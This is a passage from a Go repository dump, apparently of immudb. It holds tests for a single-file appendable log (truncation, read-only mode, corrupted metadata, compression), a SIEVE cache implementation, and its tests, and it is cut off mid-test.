{\n\t\t// gen some random data\n\t\trand.Read(writeBuf[:i])\n\n\t\toff, n, err := a.Append(writeBuf[:i])\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, int64(0), off)\n\t\trequire.Equal(t, i, n)\n\n\t\terr = a.SetOffset(int64(n + 1))\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\t// incremental left truncation\n\t\tfor j := 0; j <= n; j++ {\n\t\t\terr = a.SetOffset(int64(n - j))\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, int64(n-j), a.Offset())\n\n\t\t\tsz, err := a.Size()\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, int64(n-j), sz)\n\n\t\t\t// read entire content should match what was appended\n\t\t\trn, err := a.ReadAt(readBuf[:sz], 0)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, sz, int64(rn))\n\t\t\trequire.Equal(t, writeBuf[:sz], readBuf[:sz])\n\t\t}\n\t}\n\n\trequire.Zero(t, a.Offset())\n\n\tsz, err := a.Size()\n\trequire.NoError(t, err)\n\trequire.Zero(t, sz)\n\n\terr = a.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestSingleAppSwitchToReadOnlyMode(t *testing.T) {\n\ta, err := Open(filepath.Join(t.TempDir(), \"testdata.aof\"), DefaultOptions())\n\trequire.NoError(t, err)\n\n\toff, n, err := a.Append([]byte{1, 2, 3})\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(0), off)\n\trequire.Equal(t, 3, n)\n\n\terr = a.SwitchToReadOnlyMode()\n\trequire.NoError(t, err)\n\n\terr = a.SwitchToReadOnlyMode()\n\trequire.ErrorIs(t, err, ErrReadOnly)\n\n\tbs := make([]byte, 3)\n\tn, err = a.ReadAt(bs, 0)\n\trequire.NoError(t, err)\n\trequire.Equal(t, 3, n)\n\trequire.Equal(t, []byte{1, 2, 3}, bs)\n\n\terr = a.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestSingleAppReOpening(t *testing.T) {\n\tdir := t.TempDir()\n\n\ta, err := Open(filepath.Join(dir, \"testdata.aof\"), DefaultOptions())\n\trequire.NoError(t, err)\n\n\toff, n, err := a.Append([]byte{1, 2, 3})\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(0), off)\n\trequire.Equal(t, 3, n)\n\n\terr = a.Copy(filepath.Join(dir, \"testdata_copy.aof\"))\n\trequire.NoError(t, err)\n\n\terr = a.Close()\n\trequire.NoError(t, err)\n\n\ta, err = Open(filepath.Join(dir, \"testdata_copy.aof\"), DefaultOptions().WithReadOnly(true))\n\trequire.NoError(t, err)\n\n\tsz, err := a.Size()\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(3), sz)\n\n\tbs := make([]byte, 3)\n\tn, err = a.ReadAt(bs, 0)\n\trequire.NoError(t, err)\n\trequire.Equal(t, 3, n)\n\trequire.Equal(t, []byte{1, 2, 3}, bs)\n\n\terr = a.SwitchToReadOnlyMode()\n\trequire.ErrorIs(t, err, ErrReadOnly)\n\n\terr = a.SetOffset(sz)\n\trequire.ErrorIs(t, err, ErrReadOnly)\n\n\t_, _, err = a.Append([]byte{})\n\trequire.ErrorIs(t, err, ErrReadOnly)\n\n\terr = a.Flush()\n\trequire.ErrorIs(t, err, ErrReadOnly)\n\n\terr = a.Sync()\n\trequire.ErrorIs(t, err, ErrReadOnly)\n\n\terr = a.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestSingleAppCorruptedFileReadingMetadata(t *testing.T) {\n\tf, err := ioutil.TempFile(t.TempDir(), \"singleapp_test_\")\n\trequire.NoError(t, err)\n\n\t// should fail reading metadata len\n\t_, err = Open(f.Name(), DefaultOptions())\n\trequire.ErrorIs(t, err, ErrCorruptedMetadata)\n\n\tmLenBs := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(mLenBs, 1)\n\n\tw := bufio.NewWriter(f)\n\t_, err = w.Write(mLenBs)\n\trequire.NoError(t, err)\n\n\terr = w.Flush()\n\trequire.NoError(t, err)\n\n\t// should failt reading metadata\n\t_, err = Open(f.Name(), DefaultOptions())\n\trequire.ErrorIs(t, err, ErrCorruptedMetadata)\n}\n\nfunc TestSingleAppCorruptedFileReadingCompresionFormat(t *testing.T) {\n\tf, err := ioutil.TempFile(t.TempDir(), \"singleapp_test_\")\n\trequire.NoError(t, err)\n\n\tm := appendable.NewMetadata(nil)\n\n\tmBs := m.Bytes()\n\tmLenBs := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(mLenBs, uint32(len(mBs)))\n\n\tw := bufio.NewWriter(f)\n\t_, err = w.Write(mLenBs)\n\trequire.NoError(t, err)\n\n\t_, err = w.Write(mBs)\n\trequire.NoError(t, err)\n\n\terr = w.Flush()\n\trequire.NoError(t, err)\n\n\t// should failt reading metadata\n\t_, err = Open(f.Name(), DefaultOptions())\n\trequire.ErrorIs(t, err, ErrCorruptedMetadata)\n}\n\nfunc TestSingleAppCorruptedFileReadingCompresionLevel(t *testing.T) {\n\tf, err := ioutil.TempFile(t.TempDir(), \"singleapp_test_\")\n\trequire.NoError(t, err)\n\n\tm := appendable.NewMetadata(nil)\n\tm.PutInt(metaCompressionFormat, appendable.NoCompression)\n\n\tmBs := m.Bytes()\n\tmLenBs := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(mLenBs, uint32(len(mBs)))\n\n\tw := bufio.NewWriter(f)\n\t_, err = w.Write(mLenBs)\n\trequire.NoError(t, err)\n\n\t_, err = w.Write(mBs)\n\trequire.NoError(t, err)\n\n\terr = w.Flush()\n\trequire.NoError(t, err)\n\n\t// should failt reading metadata\n\t_, err = Open(f.Name(), DefaultOptions())\n\trequire.ErrorIs(t, err, ErrCorruptedMetadata)\n}\n\nfunc TestSingleAppCorruptedFileReadingCompresionWrappedMetadata(t *testing.T) {\n\tf, err := ioutil.TempFile(t.TempDir(), \"singleapp_test_\")\n\trequire.NoError(t, err)\n\n\tm := appendable.NewMetadata(nil)\n\tm.PutInt(metaCompressionFormat, appendable.NoCompression)\n\tm.PutInt(metaCompressionLevel, appendable.DefaultCompression)\n\n\tmBs := m.Bytes()\n\tmLenBs := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(mLenBs, uint32(len(mBs)))\n\n\tw := bufio.NewWriter(f)\n\t_, err = w.Write(mLenBs)\n\trequire.NoError(t, err)\n\n\t_, err = w.Write(mBs)\n\trequire.NoError(t, err)\n\n\terr = w.Flush()\n\trequire.NoError(t, err)\n\n\t// should failt reading metadata\n\t_, err = Open(f.Name(), DefaultOptions())\n\trequire.ErrorIs(t, err, ErrCorruptedMetadata)\n}\n\nfunc TestSingleAppEdgeCases(t *testing.T) {\n\tdir := t.TempDir()\n\n\t_, err := Open(filepath.Join(dir, \"testdata.aof\"), nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = Open(filepath.Join(dir, \"testdata.aof\"), DefaultOptions().WithReadOnly(true))\n\trequire.Error(t, err)\n\n\ta, err := Open(filepath.Join(dir, \"testdata.aof\"), DefaultOptions().WithRetryableSync(false))\n\trequire.NoError(t, err)\n\n\terr = a.Flush()\n\trequire.NoError(t, err)\n\n\t_, err = a.ReadAt(nil, 0)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\terr = a.Close()\n\trequire.NoError(t, err)\n\n\t_, err = a.Size()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = a.Copy(filepath.Join(dir, \"copy.aof\"))\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = a.SetOffset(0)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, _, err = a.Append([]byte{})\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, err = a.ReadAt([]byte{}, 0)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = a.Flush()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = a.Sync()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = a.DiscardUpto(1)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = a.Close()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n}\n\nfunc TestSingleAppZLibCompression(t *testing.T) {\n\topts := DefaultOptions().WithCompressionFormat(appendable.ZLibCompression)\n\ta, err := Open(filepath.Join(t.TempDir(), \"testdata.aof\"), opts)\n\trequire.NoError(t, err)\n\n\toff, _, err := a.Append([]byte{1, 2, 3})\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(0), off)\n\n\terr = a.Flush()\n\trequire.NoError(t, err)\n\n\tbs := make([]byte, 3)\n\t_, err = a.ReadAt(bs, 0)\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte{1, 2, 3}, bs)\n\n\terr = a.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestSingleAppFlateCompression(t *testing.T) {\n\topts := DefaultOptions().WithCompressionFormat(appendable.FlateCompression)\n\ta, err := Open(filepath.Join(t.TempDir(), \"testdata.aof\"), opts)\n\trequire.NoError(t, err)\n\n\toff, _, err := a.Append([]byte{1, 2, 3})\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(0), off)\n\n\terr = a.Flush()\n\trequire.NoError(t, err)\n\n\tbs := make([]byte, 3)\n\t_, err = a.ReadAt(bs, 0)\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte{1, 2, 3}, bs)\n\n\terr = a.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestSingleAppGZipCompression(t *testing.T) {\n\topts := DefaultOptions().WithCompressionFormat(appendable.GZipCompression)\n\ta, err := Open(filepath.Join(t.TempDir(), \"testdata.aof\"), opts)\n\trequire.NoError(t, err)\n\n\toff, _, err := a.Append([]byte{1, 2, 3})\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(0), off)\n\n\terr = a.Flush()\n\trequire.NoError(t, err)\n\n\tbs := make([]byte, 3)\n\t_, err = a.ReadAt(bs, 0)\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte{1, 2, 3}, bs)\n\n\terr = a.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestSingleAppLZWCompression(t *testing.T) {\n\topts := DefaultOptions().WithCompressionFormat(appendable.LZWCompression)\n\ta, err := Open(filepath.Join(t.TempDir(), \"testdata.aof\"), opts)\n\trequire.NoError(t, err)\n\n\toff, _, err := a.Append([]byte{1, 2, 3})\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(0), off)\n\n\terr = a.Flush()\n\trequire.NoError(t, err)\n\n\tbs := make([]byte, 3)\n\t_, err = a.ReadAt(bs, 0)\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte{1, 2, 3}, bs)\n\n\terr = a.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestSingleAppCantCreateFile(t *testing.T) {\n\tdir := t.TempDir()\n\tos.Mkdir(filepath.Join(dir, \"exists\"), 0644)\n\n\t_, err := Open(filepath.Join(dir, \"exists\"), DefaultOptions())\n\trequire.ErrorContains(t, err, \"exists\")\n\n\tapp, err := Open(filepath.Join(dir, \"valid\"), DefaultOptions())\n\trequire.NoError(t, err)\n\terr = app.Copy(filepath.Join(dir, \"exists\"))\n\trequire.ErrorContains(t, err, \"exists\")\n}\n\nfunc TestSingleAppDiscard(t *testing.T) {\n\tapp, err := Open(filepath.Join(t.TempDir(), \"testdata_discard.aof\"), DefaultOptions())\n\trequire.NoError(t, err)\n\n\terr = app.DiscardUpto(0)\n\trequire.NoError(t, err)\n\n\terr = app.DiscardUpto(1)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\toff, n, err := app.Append([]byte{1, 2, 3})\n\trequire.NoError(t, err)\n\n\terr = app.DiscardUpto(off + int64(n))\n\trequire.NoError(t, err)\n\n\terr = app.Close()\n\trequire.NoError(t, err)\n}\n\nfunc BenchmarkAppendFlush(b *testing.B) {\n\topts := DefaultOptions().\n\t\tWithRetryableSync(false).\n\t\tWithWriteBuffer(make([]byte, DefaultWriteBufferSize))\n\n\tapp, err := Open(filepath.Join(b.TempDir(), \"testdata_benchmark_flush.aof\"), opts)\n\trequire.NoError(b, err)\n\n\tb.ResetTimer()\n\n\tchunck := make([]byte, 512)\n\n\tfor i := 0; i < b.N; i++ {\n\t\tfor j := 1; j <= 1000; j++ {\n\t\t\t_, _, err = app.Append(chunck)\n\t\t\trequire.NoError(b, err)\n\n\t\t\terr = app.Flush()\n\t\t\trequire.NoError(b, err)\n\t\t}\n\t}\n\n\terr = app.Close()\n\trequire.NoError(b, err)\n}\n\nfunc BenchmarkAppendFlushless(b *testing.B) {\n\topts := DefaultOptions().\n\t\tWithRetryableSync(false).\n\t\tWithWriteBuffer(make([]byte, DefaultWriteBufferSize*16))\n\n\tapp, err := Open(filepath.Join(b.TempDir(), \"testdata_benchmark_flushless.aof\"), opts)\n\trequire.NoError(b, err)\n\n\tb.ResetTimer()\n\n\tchunck := make([]byte, 512)\n\n\tfor i := 0; i < b.N; i++ {\n\t\tfor j := 1; j <= 1000; j++ {\n\t\t\t_, _, err = app.Append(chunck)\n\t\t\trequire.NoError(b, err)\n\t\t}\n\t}\n\n\terr = app.Close()\n\trequire.NoError(b, err)\n}\n"
  },
  {
    "path": "embedded/cache/cache.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cache\n\nimport (\n\t\"container/list\"\n\t\"errors\"\n\t\"fmt\"\n\t\"sync\"\n\t\"sync/atomic\"\n)\n\nvar (\n\tErrIllegalArguments = errors.New(\"illegal arguments\")\n\tErrKeyNotFound      = errors.New(\"key not found\")\n\tErrIllegalState     = errors.New(\"illegal state\")\n\tErrCannotEvictItem  = errors.New(\"cannot find an item to evict\")\n)\n\ntype EvictFilterFunc func(key interface{}, value interface{}) bool\ntype EvictCallbackFunc func(key, value interface{})\n\n// Cache implements the SIEVE cache replacement policy.\ntype Cache struct {\n\tdata map[interface{}]*entry\n\n\thand      *list.Element\n\tlist      *list.List\n\tweight    int\n\tmaxWeight int\n\n\tmutex sync.RWMutex\n\n\tcanEvict EvictFilterFunc\n\tonEvict  EvictCallbackFunc\n}\n\ntype entry struct {\n\tvalue   interface{}\n\tvisited uint32\n\tweight  int\n\torder   *list.Element\n}\n\nfunc NewCache(maxWeight int) (*Cache, error) {\n\tif maxWeight < 1 {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\treturn &Cache{\n\t\tdata:      make(map[interface{}]*entry),\n\t\tlist:      list.New(),\n\t\tweight:    0,\n\t\tmaxWeight: maxWeight,\n\t\tonEvict:   nil,\n\t\tcanEvict:  nil,\n\t}, nil\n}\n\nfunc (c *Cache) SetCanEvict(canEvict EvictFilterFunc) {\n\tc.mutex.Lock()\n\tdefer c.mutex.Unlock()\n\n\tc.canEvict = canEvict\n}\n\nfunc (c *Cache) SetOnEvict(onEvict EvictCallbackFunc) {\n\tc.mutex.Lock()\n\tdefer c.mutex.Unlock()\n\n\tc.onEvict = onEvict\n}\n\nfunc (c *Cache) Resize(newWeight int) {\n\tc.mutex.Lock()\n\tdefer c.mutex.Unlock()\n\n\tfor c.weight > newWeight {\n\t\tkey, entry, _ := c.evict()\n\t\tif c.onEvict != nil {\n\t\t\tc.onEvict(key, entry.value)\n\t\t}\n\t\tc.weight -= entry.weight\n\t}\n\n\tc.maxWeight = newWeight\n}\n\nfunc (c *Cache) Put(key interface{}, value interface{}) (interface{}, interface{}, error) {\n\treturn c.PutWeighted(key, value, 1)\n}\n\nfunc (c *Cache) PutWeighted(key interface{}, value interface{}, weight int) (interface{}, interface{}, error) {\n\tc.mutex.Lock()\n\tdefer c.mutex.Unlock()\n\n\treturn c.put(key, value, weight, 0)\n}\n\nfunc (c *Cache) put(key interface{}, value interface{}, weight int, visited uint32) (interface{}, interface{}, error) {\n\tif key == nil || value == nil || weight == 0 || weight > c.maxWeight {\n\t\treturn nil, nil, ErrIllegalArguments\n\t}\n\n\te, ok := c.data[key]\n\tif ok {\n\t\tif c.weight-e.weight+weight > c.maxWeight {\n\t\t\tc.pop(key)\n\t\t\treturn c.put(key, value, weight, 1)\n\t\t}\n\n\t\tc.weight = c.weight - e.weight + weight\n\n\t\te.visited = 1\n\t\te.value = value\n\t\te.weight = weight\n\n\t\treturn nil, nil, nil\n\t}\n\n\tevictedKey, evictedValue, err := c.evictWhileFull(weight)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tc.weight += weight\n\n\tc.data[key] = &entry{\n\t\tvalue:   value,\n\t\tvisited: visited,\n\t\tweight:  weight,\n\t\torder:   c.list.PushFront(key),\n\t}\n\treturn evictedKey, evictedValue, nil\n}\n\nfunc (c *Cache) evictWhileFull(weight int) (interface{}, interface{}, error) {\n\tvar rkey, rvalue interface{}\n\tfor c.weight+weight > c.maxWeight {\n\t\tevictedKey, entry, err := c.evict()\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\n\t\trkey = evictedKey\n\t\trvalue = entry.value\n\n\t\tif c.onEvict != nil {\n\t\t\tc.onEvict(rkey, rvalue)\n\t\t}\n\t\tc.weight -= entry.weight\n\t}\n\treturn rkey, rvalue, nil\n}\n\nfunc (c *Cache) evict() (rkey interface{}, e *entry, err error) {\n\tif c.list.Len() == 0 {\n\t\treturn nil, nil, fmt.Errorf(\"%w: evict requested in an empty cache\", ErrIllegalState)\n\t}\n\n\tcurr := c.hand\n\tfor i := 0; i < 2*c.list.Len(); i++ {\n\t\tif curr == nil {\n\t\t\tcurr = c.list.Back()\n\t\t}\n\n\t\tkey := curr.Value\n\n\t\te := c.data[key]\n\t\tif e.visited == 0 && c.shouldEvict(key, e.value) {\n\t\t\tc.hand = curr.Prev()\n\n\t\t\tc.list.Remove(curr)\n\t\t\tdelete(c.data, key)\n\n\t\t\treturn key, e, nil\n\t\t}\n\n\t\te.visited = 0\n\t\tcurr = curr.Prev()\n\t}\n\treturn nil, nil, ErrCannotEvictItem\n}\n\nfunc (c *Cache) shouldEvict(key, value interface{}) bool {\n\treturn c.canEvict == nil || c.canEvict(key, value)\n}\n\nfunc (c *Cache) Get(key interface{}) (interface{}, error) {\n\tif key == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tc.mutex.RLock()\n\tdefer c.mutex.RUnlock()\n\n\te, ok := c.data[key]\n\tif !ok {\n\t\treturn nil, ErrKeyNotFound\n\t}\n\n\tatomic.StoreUint32(&e.visited, 1)\n\n\treturn e.value, nil\n}\n\nfunc (c *Cache) Pop(key interface{}) (interface{}, error) {\n\tif key == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tc.mutex.Lock()\n\tdefer c.mutex.Unlock()\n\n\treturn c.pop(key)\n}\n\nfunc (c *Cache) pop(key interface{}) (interface{}, error) {\n\te, ok := c.data[key]\n\tif !ok {\n\t\treturn nil, ErrKeyNotFound\n\t}\n\n\tif c.hand == e.order {\n\t\tc.hand = c.hand.Prev()\n\t}\n\n\tc.list.Remove(e.order)\n\tdelete(c.data, key)\n\n\tc.weight -= e.weight\n\n\treturn e.value, nil\n}\n\nfunc (c *Cache) Replace(k interface{}, v interface{}) (interface{}, error) {\n\tif k == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tc.mutex.Lock()\n\tdefer c.mutex.Unlock()\n\n\te, ok := c.data[k]\n\tif !ok {\n\t\treturn nil, ErrKeyNotFound\n\t}\n\toldV := e.value\n\te.value = v\n\n\treturn oldV, nil\n}\n\nfunc (c *Cache) Weight() int {\n\tc.mutex.Lock()\n\tdefer c.mutex.Unlock()\n\n\treturn c.weight\n}\n\nfunc (c *Cache) Available() int {\n\tc.mutex.Lock()\n\tdefer c.mutex.Unlock()\n\n\treturn c.maxWeight - c.weight\n}\n\nfunc (c *Cache) MaxWeight() int {\n\tc.mutex.Lock()\n\tdefer c.mutex.Unlock()\n\n\treturn c.maxWeight\n}\n\nfunc (c *Cache) EntriesCount() int {\n\tc.mutex.Lock()\n\tdefer c.mutex.Unlock()\n\n\treturn c.list.Len()\n}\n\nfunc (c *Cache) Apply(fun func(k interface{}, v interface{}) error) error {\n\tc.mutex.Lock()\n\tdefer c.mutex.Unlock()\n\n\tfor k, e := range c.data {\n\t\terr := fun(k, e.value)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "embedded/cache/cache_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage cache\n\nimport (\n\t\"errors\"\n\t\"math/rand\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc setupCache(t *testing.T) *Cache {\n\trand.Seed(time.Now().UnixNano())\n\n\tsize := 10 + rand.Intn(100)\n\n\tcache, err := NewCache(size)\n\trequire.NoError(t, err)\n\treturn cache\n}\n\nfunc TestCacheCreation(t *testing.T) {\n\t_, err := NewCache(0)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tcacheSize := 10\n\tcache, err := NewCache(cacheSize)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, cache)\n\trequire.Equal(t, cacheSize, cache.MaxWeight())\n\n\t_, _, err = cache.evict()\n\trequire.Error(t, err)\n\n\t_, err = cache.Get(nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, _, err = cache.Put(nil, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tfor i := 0; i < cacheSize; i++ {\n\t\t_, _, err = cache.Put(i, 10*i)\n\t\trequire.NoError(t, err)\n\t}\n\n\tfor i := cacheSize; i > 0; i-- {\n\t\tv, err := cache.Get(i - 1)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, v, 10*(i-1))\n\t}\n\n\tfor i := cacheSize; i < cacheSize+cacheSize/2; i++ {\n\t\t_, _, err = cache.Put(i, 10*i)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = cache.Put(i, 10*i)\n\t\trequire.NoError(t, err)\n\t}\n\n\tfor i := 0; i < cacheSize/2; i++ {\n\t\t_, err := cache.Get(i)\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\t}\n\n\tfor i := cacheSize / 2; i < cacheSize; i++ {\n\t\tv, err := cache.Get(i)\n\t\trequire.NoError(t, err, ErrKeyNotFound)\n\t\trequire.Equal(t, v, 10*i)\n\t}\n\n\tfor i := cacheSize; i < cacheSize+cacheSize/2; i++ {\n\t\tv, err := cache.Get(i)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, v, 10*i)\n\t}\n}\n\nfunc TestEvictionPolicy(t *testing.T) {\n\tfillCache := func(cache *Cache) {\n\t\tfor i := 0; i < cache.MaxWeight(); i++ {\n\t\t\tkey, value, err := cache.Put(i, i+1)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Nil(t, key)\n\t\t\trequire.Nil(t, value)\n\t\t}\n\t}\n\n\tt.Run(\"should evict multiple items\", func(t *testing.T) {\n\t\tcache := setupCache(t)\n\t\tfillCache(cache)\n\n\t\tel := rand.Intn(cache.MaxWeight())\n\n\t\t_, _, err := cache.PutWeighted(cache.MaxWeight(), cache.MaxWeight()+1, el+1)\n\t\trequire.NoError(t, err)\n\n\t\trequire.Equal(t, cache.Weight(), cache.EntriesCount()+el)\n\t\trequire.Equal(t, cache.MaxWeight()-el, cache.EntriesCount())\n\t})\n\n\tt.Run(\"should evict non visited items\", func(t *testing.T) {\n\t\tt.Run(\"starting from element at middle\", func(t *testing.T) {\n\t\t\tcache := setupCache(t)\n\t\t\tfillCache(cache)\n\n\t\t\tel := rand.Intn(cache.MaxWeight())\n\t\t\tfor i := 0; i < el; i++ {\n\t\t\t\t_, err := cache.Get(i)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t}\n\n\t\t\tfor i := el; i < cache.MaxWeight(); i++ {\n\t\t\t\tkey, _, err := cache.Put(cache.MaxWeight()+i, cache.MaxWeight()+i+1)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.Equal(t, i%cache.maxWeight, key)\n\t\t\t}\n\t\t})\n\n\t\tt.Run(\"at even positions\", func(t *testing.T) {\n\t\t\tcache := setupCache(t)\n\n\t\t\tfillCache(cache)\n\n\t\t\tfor i := 0; i < (cache.MaxWeight()+1)/2; i++ {\n\t\t\t\t_, err := cache.Get(2 * i)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t}\n\n\t\t\tfor i := 0; i < cache.MaxWeight()/2; i++ {\n\t\t\t\tkey, _, err := cache.Put(cache.MaxWeight()+i, cache.MaxWeight()+i+1)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.Equal(t, key, 2*i+1)\n\t\t\t}\n\t\t})\n\n\t\tt.Run(\"starting from back\", func(t *testing.T) {\n\t\t\tcache := setupCache(t)\n\n\t\t\tfillCache(cache)\n\n\t\t\tn := 1 + rand.Intn(cache.MaxWeight()-1)\n\t\t\tfor i := 0; i < n; i++ {\n\t\t\t\tkey, _, err := cache.Put(cache.MaxWeight()+i, cache.MaxWeight()+i+1)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.Equal(t, key, i)\n\t\t\t}\n\t\t})\n\t})\n\n\tt.Run(\"should evict visited items\", func(t *testing.T) {\n\t\tcache := setupCache(t)\n\n\t\tfillCache(cache)\n\n\t\tfor i := 0; i < cache.MaxWeight(); i++ {\n\t\t\t_, err := cache.Get(i)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\tn := 1 + rand.Intn(cache.MaxWeight()-1)\n\t\tfor i := 0; i < n; i++ {\n\t\t\tkey, _, err := cache.Put(cache.MaxWeight()+i, cache.MaxWeight()+i+1)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, key, i)\n\t\t}\n\t})\n}\n\nfunc TestApply(t *testing.T) {\n\tcacheSize := 10\n\tcache, err := NewCache(cacheSize)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, cache)\n\trequire.Equal(t, cacheSize, cache.MaxWeight())\n\n\tfor i := 0; i < cacheSize; i++ {\n\t\t_, _, err = cache.Put(i, 10*i)\n\t\trequire.NoError(t, err)\n\t}\n\n\tc := 0\n\terr = cache.Apply(func(k, v interface{}) error {\n\t\tc++\n\t\treturn nil\n\t})\n\trequire.NoError(t, err)\n\trequire.Equal(t, cacheSize, c)\n\n\terr = cache.Apply(func(k, v interface{}) error {\n\t\treturn errors.New(\"expected error\")\n\t})\n\trequire.Error(t, err)\n}\n\nfunc TestPop(t *testing.T) {\n\tcacheSize := 10\n\tcache, err := NewCache(cacheSize)\n\trequire.NoError(t, err)\n\n\tfor i := 0; i < cacheSize; i++ {\n\t\t_, _, err = cache.Put(i, 10*i)\n\t\trequire.NoError(t, err)\n\t}\n\n\tpoppedKey := 5\n\tval, err := cache.Pop(poppedKey)\n\trequire.NoError(t, err)\n\trequire.Equal(t, 10*poppedKey, val)\n\n\tc := 0\n\terr = cache.Apply(func(k, v interface{}) error {\n\t\trequire.NotEqual(t, 10*poppedKey, v)\n\t\tc++\n\t\treturn nil\n\t})\n\trequire.NoError(t, err)\n\trequire.Equal(t, cacheSize-1, c)\n\n\tval, err = cache.Pop(-1)\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\trequire.Nil(t, val)\n\n\tval, err = cache.Pop(nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\trequire.Nil(t, val)\n}\n\nfunc TestReplace(t *testing.T) {\n\tcacheSize := 10\n\tcache, err := NewCache(cacheSize)\n\trequire.NoError(t, err)\n\n\tfor i := 0; i < cacheSize; i++ {\n\t\t_, _, err = cache.Put(i, 10*i)\n\t\trequire.NoError(t, err)\n\t}\n\n\treplacedKey := 5\n\tval, err := cache.Replace(replacedKey, 9999)\n\trequire.NoError(t, err)\n\trequire.Equal(t, 10*replacedKey, val)\n\n\tc := 0\n\terr = cache.Apply(func(k, v interface{}) error {\n\t\tif k == replacedKey {\n\t\t\trequire.Equal(t, 9999, v)\n\t\t}\n\t\tc++\n\t\treturn nil\n\t})\n\trequire.NoError(t, err)\n\trequire.Equal(t, cacheSize, c)\n\n\tval, err = cache.Replace(-1, 9998)\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\trequire.Nil(t, val)\n\n\tval, err = cache.Replace(nil, 9997)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\trequire.Nil(t, val)\n}\n\nfunc TestCacheResizing(t *testing.T) {\n\tinitialCacheSize := 10\n\tcache, err := NewCache(initialCacheSize)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, cache)\n\trequire.Equal(t, initialCacheSize, cache.MaxWeight())\n\n\tfor i := 0; i < initialCacheSize; i++ {\n\t\trkey, _, err := cache.Put(i, i)\n\t\trequire.NoError(t, err)\n\t\trequire.Nil(t, rkey)\n\t}\n\n\t// cache growing\n\tlargerCacheSize := 